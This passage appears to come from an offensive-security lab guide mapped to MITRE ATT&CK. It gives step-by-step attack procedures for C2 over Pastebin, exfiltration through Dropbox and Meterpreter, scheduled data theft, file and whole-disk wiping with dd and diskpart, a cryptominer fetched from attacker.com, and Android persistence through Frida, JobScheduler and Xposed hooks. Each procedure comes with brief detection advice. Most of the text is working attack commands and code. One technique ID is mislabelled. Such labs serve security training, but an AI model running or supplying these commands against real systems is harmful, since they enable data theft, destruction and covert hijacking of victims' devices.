Tools: OpenSSL, Metasploit

Objective: Hide C2 traffic within encrypted channels.

Technique 3: Web Service (ID: T1102.002)

Goal: Use legitimate web services as intermediaries for C2 traffic.

Objective: Send and receive C2 data through platforms like GitHub or Pastebin to avoid detection.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Python, GitHub API, Pastebin API

Procedure 1 – Upload C2 Data to Web Servic

1. Create a private Pastebin entry with commands for the agent.

Procedure 2 – Configure Malware to Pull Instructions

1. Malware periodically fetches content from Pastebin using HTTP requests.

Outcome:

C2 traffic blends with legitimate use of popular web services.

Detection Recommendations:

Monitor for unusual requests to known code-sharing sites.

Restrict access to risky public paste/file sharing services.

Mapping to MITRE ATT&CK:

Tactic: Command and Control

Technique: Web Service

Technique ID: T1102.002

Tools: Python, GitHub API, Pastebin API

Objective: Hide C2 communication in normal web service usage.

Tactic 12: Exfiltration

Technique 1: Exfiltration Over Web Services (ID: T1567.002)

Goal: Steal data by uploading it to legitimate web services to evade detection.

Objective: Use Dropbox as a covert exfiltration channel for stolen files.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Network: Internet access enabled

Tools Used: Dropbox API, Python

Procedure 1 – Prepare Stolen Data

1. Compress sensitive files:

```
tar -czf data.tar.gz C:\Sensitive
```

Procedure 2 – Upload to Dropbox

1. Use Python script with Dropbox API key:

```
import dropbox
dbx = dropbox.Dropbox("API_KEY")
with open("data.tar.gz", "rb") as f:
    dbx.files_upload(f.read(), "/data.tar.gz")
```

Outcome:

Data is sent to Dropbox, blending with normal cloud activity.

Detection Recommendations:

Monitor for abnormal uploads to cloud storage.

Restrict access to non-business cloud services.

Mapping to MITRE ATT&CK:

Tactic: Exfiltration

Technique: Exfiltration Over Web Services

Technique ID: T1567.002

Tools: Dropbox API, Python

Objective: Use web service to exfiltrate stolen data.

Technique 2: Exfiltration Over C2 Channel (ID: T1041)

Goal: Send stolen data through the same channel used for C2 to avoid detection.

Objective: Use an established HTTPS C2 session to transfer stolen files.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Metasploit, Meterpreter

Procedure 1 – Collect Target Files

1. In Meterpreter:

```
download C:\\Sensitive\\passwords.txt
```

Procedure 2 – Send Data Over C2

1. The file is transferred via the encrypted C2 connection automatically.

Outcome:

Data moves through an existing encrypted C2 channel without triggering outbound filters.

Detection Recommendations:

Monitor C2 traffic size anomalies.

Inspect encrypted traffic for abnormal patterns.

Mapping to MITRE ATT&CK:

Tactic: Exfiltration

Technique: Exfiltration Over C2 Channel

Technique ID: T1041

Tools: Metasploit, Meterpreter

Objective: Use existing C2 to move stolen data.

Technique 3: Automated Exfiltration (ID: T1020)

Goal: Periodically steal data without manual attacker interaction.

Objective: Configure malware to automatically package and send files at set intervals.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Python, Cron (Linux) / Task Scheduler (Windows)

Procedure 1 – Create Script for Data Transfer

1. Example Python script:

```
import shutil, time
while True:
    shutil.copy("C:\\Sensitive\\data.txt", "Z:\\shared_folder\\")
    time.sleep(3600)
```

Procedure 2 – Schedule Task

1. In Windows Task Scheduler:

Set script to run every hour.

Outcome:

Data exfiltration occurs automatically at regular intervals.

Detection Recommendations:

Monitor for unusual scheduled tasks.

Check for frequent small data transfers to external hosts.

Mapping to MITRE ATT&CK:

Tactic: Exfiltration

Technique: Automated Exfiltration

Technique ID: T1020

Tools: Python, Task Scheduler

Objective: Schedule recurring data theft.

Tactic 13: Impact

Technique 1: Data Destruction (ID: T1485)

Goal: Permanently delete or corrupt important data on the target system.

Objective: Use secure deletion tools or scripts to wipe sensitive files beyond recovery.

Lab Setup:

Target System: Windows 10 / Linux

Attacker System: Kali Linux

Tools Used: sdelete (Windows Sysinternals), shred (Linux)

Procedure 1 – Windows File Wipe

1. On target system:

```
sdelete -p 3 C:\Sensitive\*
```

(Overwrites files 3 times for secure deletion.)

Procedure 2 – Linux File Wipe

1. Run:

```
shred -u -n 3 /home/user/secret.txt
```

Outcome:

Target files permanently erased and unrecoverable.

Detection Recommendations:

Monitor for bulk file deletion commands.

Maintain offline backups of critical files.

Mapping to MITRE ATT&CK:

Tactic: Impact

Technique: Data Destruction

Technique ID: T1485

Tools: sdelete, shred

Objective: Remove sensitive files beyond recovery.

Technique 2: Disk Wipe (ID: T1561.001)

Goal: Make the target system unusable by wiping entire storage drives.

Objective: Use disk wiping utilities to overwrite system disks.

Lab Setup:

Target System: Windows 10 / Linux

Attacker System: Bootable live USB

Tools Used: diskpart (Windows), dd (Linux)

Procedure 1 – Windows Disk Wipe

1. Open diskpart and select disk:

```
diskpart
select disk 0
clean all
```

Procedure 2 – Linux Disk Wipe

1. Run:

```
dd if=/dev/zero of=/dev/sda bs=1M status=progress
```

Outcome:

All data and OS on the target disk is destroyed.

Detection Recommendations:

Monitor for disk management commands in unusual contexts.

Use endpoint controls to prevent boot from unauthorized USBs.

Mapping to MITRE ATT&CK:

Tactic: Impact

Technique: Disk Wipe

Technique ID: T1561.001

Tools: diskpart, dd

Objective: Erase all data and OS from target disk.

Technique 3: Resource Hijacking (ID: T1496)

Goal: Abuse target system resources for cryptocurrency mining or other unintended purposes.

Objective: Deploy mining software to utilize CPU/GPU without the victim's consent.

Lab Setup:

Target System: Windows 10 / Linux

Attacker System: Kali Linux

Tools Used: xmrig (cryptocurrency miner)

Procedure 1 – Download Mining Software

1. On target:

```
curl -L -o miner.tar.gz http://attacker.com/xmrig.tar.gz
```

Procedure 2 – Start Mining Process

1. Extract and run:

```
tar -xzf miner.tar.gz
./xmrig -o pool.minexmr.com:443 -u WalletAddress --tls
```

Outcome:

Victim’s system resources consumed for illicit mining.

Detection Recommendations:

Monitor for abnormal CPU/GPU usage.

Inspect network connections to known mining pools.

Mapping to MITRE ATT&CK:

Tactic: Impact

Technique: Resource Hijacking

Technique ID: T1496

Tools: xmrig

Objective: Exploit victim system for unauthorized resource usage.

Tactic 14: Persistence – Hijack Execution Flow Variants

Technique 1: Hijack Execution Flow – System Runtime API (ID: T1620)

Goal: Maintain malicious execution by intercepting calls to legitimate Android system runtime APIs.

Objective: Hook core Android APIs so malware is triggered during normal app or OS operations.

Lab Setup:

Target Device: Rooted Android phone

Attacker Device: Kali Linux

Tools: Frida, ADB, malicious hook scripts

Procedure 1 – Deploy Frida Server to Device

1. Push the Frida server binary to the device:

```
adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
adb shell ./data/local/tmp/frida-server &
```

2. Confirm it’s running:

```
adb shell ps | grep frida
```

Procedure 2 – Hook Target API

1. Create a JavaScript hook (example for getRunningAppProcesses):

```
Java.perform(function(){
    var ActivityManager = Java.use("android.app.ActivityManager");
    ActivityManager.getRunningAppProcesses.implementation = function(){
        send("Hooked API call detected");
        return this.getRunningAppProcesses();
    };
});
```

2. Load the hook into the target process:

```
frida -U -n target.app -s hook.js
```

Outcome:

Malware persists by executing code whenever the hooked API is called.

Technique 2: Hijack Execution Flow – Scheduled Task/Job (ID: T1053)

Goal: Achieve persistence by hijacking legitimate scheduled tasks or creating new malicious jobs.

Objective: Schedule malicious payload execution at defined intervals using Android’s JobScheduler API.

Lab Setup:

Target Device: Android phone (non-rooted works)

Attacker Device: Kali Linux

Tools: Custom APK, ADB

Procedure 1 – Create a Scheduled Job in Malicious APK

1. In MyJobService.java, add malicious execution code.

2. Schedule it in the app:

```
JobScheduler scheduler = (JobScheduler)
getSystemService(Context.JOB_SCHEDULER_SERVICE);

JobInfo jobInfo = new JobInfo.Builder(1, new ComponentName(this,
MyJobService.class))

    .setPeriodic(900000) // Run every 15 minutes

    .build();

scheduler.schedule(jobInfo);
```

Procedure 2 – Deploy APK and Trigger Job

1. Install the malicious APK:

```
adb install scheduler_persist.apk
```

2. Let the device idle — the JobScheduler will run the payload periodically.

Outcome:

Malware is re-executed at set intervals without user interaction.

Technique 3: Hijack Execution Flow – Application Initialization Hook

Goal: Trigger malicious code whenever a legitimate application starts.

Objective: Hook the application lifecycle so that the payload runs during startup.

Lab Setup:

Target Device: Rooted Android phone

Attacker Device: Kali Linux

Tools: Xposed Framework, custom Xposed module

Procedure 1 – Install Xposed Framework

1. Boot into custom recovery and flash Xposed installer ZIP

2. Reboot and verify with the Xposed Installer app.

Procedure 2 – Hook Application Lifecycle Metho

1. Create Xposed module to hook onCreate() in the target app:

```
findAndHookMethod("com.target.app.MainActivity", lpparam.classLoader, "onCreate", Bundle.class, new XC_MethodHook() {
   @Override
   protected void afterHookedMethod(MethodHookParam param) throws Throwable {
       Runtime.getRuntime().exec("/data/local/tmp/payload");
   }
});
```

2. Deploy module and activate it in Xposed. Restart the device.

Outcome:

Malware runs every time the target app launches, maintaining persistence.

Mapping to MITRE ATT&CK:

Tactic: Persistence

Technique: Hijack Execution Flow – Application Initialization Hook

Tools: Xposed, ADB

Objective: Persist by executing code on app start.